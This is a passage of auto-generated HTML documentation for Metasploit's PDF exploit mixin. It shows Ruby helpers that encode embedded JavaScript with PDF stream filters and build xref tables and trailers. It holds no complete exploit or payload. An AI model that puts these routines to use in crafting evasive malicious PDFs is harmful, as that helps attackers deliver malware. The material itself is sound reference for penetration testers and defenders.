|
|
86</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 47</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_run_length_encode'>run_length_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_stream'>stream</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_eod'>eod</span> <span class='op'>=</span> <span class='int'>128</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_end'>"</span></span>
|
|||
|
|
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='int'>0</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>while</span> <span class='id identifier rubyid_i'>i</span> <span class='op'><</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span>
|
|||
|
|
<span class='comment'>#
|
|||
|
|
</span> <span class='comment'># How many identical bytes coming?
|
|||
|
|
</span> <span class='comment'>#
|
|||
|
|
</span> <span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='int'>1</span>
|
|||
|
|
<span class='kw'>while</span> <span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>1</span> <span class='op'><</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='kw'>and</span> <span class='id identifier rubyid_length'>length</span> <span class='op'><</span> <span class='id identifier rubyid_eod'>eod</span> <span class='kw'>and</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='rbracket'>]</span> <span class='op'>==</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span>
|
|||
|
|
<span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='id identifier rubyid_length'>length</span> <span class='op'>+</span> <span class='int'>1</span>
|
|||
|
|
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>1</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
|
|||
|
|
<span class='comment'>#
|
|||
|
|
</span> <span class='comment'># If more than 1, then compress them.
|
|||
|
|
</span> <span class='comment'>#
|
|||
|
|
</span> <span class='kw'>if</span> <span class='id identifier rubyid_length'>length</span> <span class='op'>></span> <span class='int'>1</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='int'>257</span> <span class='op'>-</span> <span class='id identifier rubyid_length'>length</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span> <span class='op'><<</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='comma'>,</span><span class='int'>1</span><span class='rbracket'>]</span>
|
|||
|
|
|
|||
|
|
<span class='comment'>#
|
|||
|
|
</span> <span class='comment'># Otherwise how many different bytes to copy ?
|
|||
|
|
</span> <span class='comment'>#
|
|||
|
|
</span> <span class='kw'>else</span>
|
|||
|
|
<span class='id identifier rubyid_j'>j</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span>
|
|||
|
|
<span class='kw'>while</span> <span class='id identifier rubyid_j'>j</span><span class='op'>+</span><span class='int'>1</span> <span class='op'><</span> <span class='id identifier rubyid_stream'>stream</span><span class='period'>.</span><span class='id identifier rubyid_size'>size</span> <span class='kw'>and</span> <span class='lparen'>(</span><span class='id identifier rubyid_j'>j</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>1</span><span class='rparen'>)</span> <span class='op'><</span> <span class='id identifier rubyid_eod'>eod</span> <span class='kw'>and</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_j'>j</span><span class='rbracket'>]</span> <span class='op'>!=</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_j'>j</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span>
|
|||
|
|
<span class='id identifier rubyid_j'>j</span> <span class='op'>=</span> <span class='id identifier rubyid_j'>j</span> <span class='op'>+</span> <span class='int'>1</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_length'>length</span> <span class='op'>=</span> <span class='id identifier rubyid_j'>j</span> <span class='op'>-</span> <span class='id identifier rubyid_i'>i</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_length'>length</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span> <span class='op'><<</span> <span class='id identifier rubyid_stream'>stream</span><span class='lbracket'>[</span><span class='id identifier rubyid_i'>i</span><span class='comma'>,</span> <span class='id identifier rubyid_length'>length</span><span class='op'>+</span><span class='int'>1</span><span class='rbracket'>]</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_j'>j</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_i'>i</span> <span class='op'>=</span> <span class='id identifier rubyid_i'>i</span> <span class='op'>+</span> <span class='int'>1</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='id identifier rubyid_result'>result</span> <span class='op'><<</span> <span class='id identifier rubyid_eod'>eod</span><span class='period'>.</span><span class='id identifier rubyid_chr'>chr</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="select_encoder-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>select_encoder</strong>(js, strEncode, strFilter) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><div class="docstring">
|
|||
|
|
<div class="discussion">
|
|||
|
|
|
|||
|
|
<p>Select an encoder and build a filter specification</p>
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</div>
|
|||
|
|
<div class="tags">
|
|||
|
|
|
|||
|
|
|
|||
|
|
</div><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
254
|
|||
|
|
255
|
|||
|
|
256
|
|||
|
|
257
|
|||
|
|
258
|
|||
|
|
259
|
|||
|
|
260
|
|||
|
|
261
|
|||
|
|
262
|
|||
|
|
263
|
|||
|
|
264
|
|||
|
|
265
|
|||
|
|
266
|
|||
|
|
267
|
|||
|
|
268
|
|||
|
|
269
|
|||
|
|
270</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 254</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_select_encoder'>select_encoder</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strEncode'>strEncode</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span><span class='rparen'>)</span>
|
|||
|
|
<span class='kw'>case</span> <span class='id identifier rubyid_strEncode'>strEncode</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCII85</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='id identifier rubyid_ascii85_encode'>ascii85_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/ASCII85Decode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>ASCIIHEX</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='id identifier rubyid_ascii_hex_whitespace_encode'>ascii_hex_whitespace_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/ASCIIHexDecode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>FLATE</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='const'>Zlib</span><span class='op'>::</span><span class='const'>Deflate</span><span class='period'>.</span><span class='id identifier rubyid_deflate'>deflate</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/FlateDecode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
|||
|
|
<span class='kw'>when</span> <span class='tstring'><span class='tstring_beg'>'</span><span class='tstring_content'>RUN</span><span class='tstring_end'>'</span></span>
|
|||
|
|
<span class='id identifier rubyid_js'>js</span> <span class='op'>=</span> <span class='id identifier rubyid_run_length_encode'>run_length_encode</span><span class='lparen'>(</span><span class='id identifier rubyid_js'>js</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_strFilter'>strFilter</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>/RunLengthDecode</span><span class='tstring_end'>"</span></span><span class='op'><<</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='kw'>return</span> <span class='id identifier rubyid_js'>js</span><span class='comma'>,</span><span class='id identifier rubyid_strFilter'>strFilter</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="startxref-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>startxref</strong> ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
193
|
|||
|
|
194
|
|||
|
|
195
|
|||
|
|
196
|
|||
|
|
197
|
|||
|
|
198</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 193</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_startxref'>startxref</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>startxref</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='ivar'>@xref_offset</span><span class='period'>.</span><span class='id identifier rubyid_to_s'>to_s</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%%EOF</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="trailer-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>trailer</strong>(root_obj) ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
188
|
|||
|
|
189
|
|||
|
|
190
|
|||
|
|
191</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 188</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_trailer'>trailer</span><span class='lparen'>(</span><span class='id identifier rubyid_root_obj'>root_obj</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>trailer</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_nobfu'>nobfu</span><span class='lparen'>(</span><span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'><</Size %d/Root </span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='lparen'>(</span><span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_length'>length</span> <span class='op'>+</span> <span class='int'>1</span><span class='rparen'>)</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='id identifier rubyid_io_ref'>io_ref</span><span class='lparen'>(</span><span class='id identifier rubyid_root_obj'>root_obj</span><span class='rparen'>)</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>>></span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div class="method_details ">
|
|||
|
|
<h3 class="signature " id="xref_table-instance_method">
|
|||
|
|
|
|||
|
|
#<strong>xref_table</strong> ⇒ <tt>Object</tt>
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
|
|||
|
|
</h3><table class="source_code">
|
|||
|
|
<tr>
|
|||
|
|
<td>
|
|||
|
|
<pre class="lines">
|
|||
|
|
|
|||
|
|
|
|||
|
|
171
|
|||
|
|
172
|
|||
|
|
173
|
|||
|
|
174
|
|||
|
|
175
|
|||
|
|
176
|
|||
|
|
177
|
|||
|
|
178
|
|||
|
|
179
|
|||
|
|
180
|
|||
|
|
181
|
|||
|
|
182
|
|||
|
|
183
|
|||
|
|
184
|
|||
|
|
185
|
|||
|
|
186</pre>
|
|||
|
|
</td>
|
|||
|
|
<td>
|
|||
|
|
<pre class="code"><span class="info file"># File 'lib/msf/core/exploit/pdf.rb', line 171</span>
|
|||
|
|
|
|||
|
|
<span class='kw'>def</span> <span class='id identifier rubyid_xref_table'>xref_table</span>
|
|||
|
|
<span class='id identifier rubyid_id'>id</span> <span class='op'>=</span> <span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_keys'>keys</span><span class='period'>.</span><span class='id identifier rubyid_max'>max</span><span class='op'>+</span><span class='int'>1</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'>=</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>xref</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>0 %d</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_id'>id</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>0000000000 65535 f</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span> <span class='op'><<</span> <span class='lparen'>(</span><span class='int'>1</span><span class='op'>..</span><span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_keys'>keys</span><span class='period'>.</span><span class='id identifier rubyid_max'>max</span><span class='rparen'>)</span><span class='period'>.</span><span class='id identifier rubyid_map'>map</span> <span class='kw'>do</span> <span class='op'>|</span><span class='id identifier rubyid_index'>index</span><span class='op'>|</span>
|
|||
|
|
<span class='kw'>if</span> <span class='ivar'>@xref</span><span class='period'>.</span><span class='id identifier rubyid_has_key?'>has_key?</span><span class='lparen'>(</span><span class='id identifier rubyid_index'>index</span><span class='rparen'>)</span>
|
|||
|
|
<span class='id identifier rubyid_offset'>offset</span> <span class='op'>=</span> <span class='ivar'>@xref</span><span class='lbracket'>[</span><span class='id identifier rubyid_index'>index</span><span class='rbracket'>]</span>
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>%010d 00000 n</span><span class='tstring_end'>"</span></span> <span class='op'>%</span> <span class='id identifier rubyid_offset'>offset</span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='kw'>else</span>
|
|||
|
|
<span class='tstring'><span class='tstring_beg'>"</span><span class='tstring_content'>0000000000 00000 f</span><span class='tstring_end'>"</span></span> <span class='op'><<</span> <span class='id identifier rubyid_eol'>eol</span>
|
|||
|
|
<span class='kw'>end</span>
|
|||
|
|
<span class='kw'>end</span><span class='period'>.</span><span class='id identifier rubyid_join'><span class='object_link'><a href="../../top-level-namespace.html#join-instance_method" title="#join (method)">join</a></span></span>
|
|||
|
|
|
|||
|
|
<span class='id identifier rubyid_ret'>ret</span>
|
|||
|
|
<span class='kw'>end</span></pre>
|
|||
|
|
</td>
|
|||
|
|
</tr>
|
|||
|
|
</table>
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
<div id="footer">
|
|||
|
|
Generated on Fri May 8 17:01:03 2026 by
|
|||
|
|
<a href="https://yardoc.org" title="Yay! A Ruby Documentation Tool" target="_parent">yard</a>
|
|||
|
|
0.9.37 (ruby-3.1.5).
|
|||
|
|
</div>
|
|||
|
|
|
|||
|
|
</div>
|
|||
|
|
</body>
|
|||
|
|
</html>
|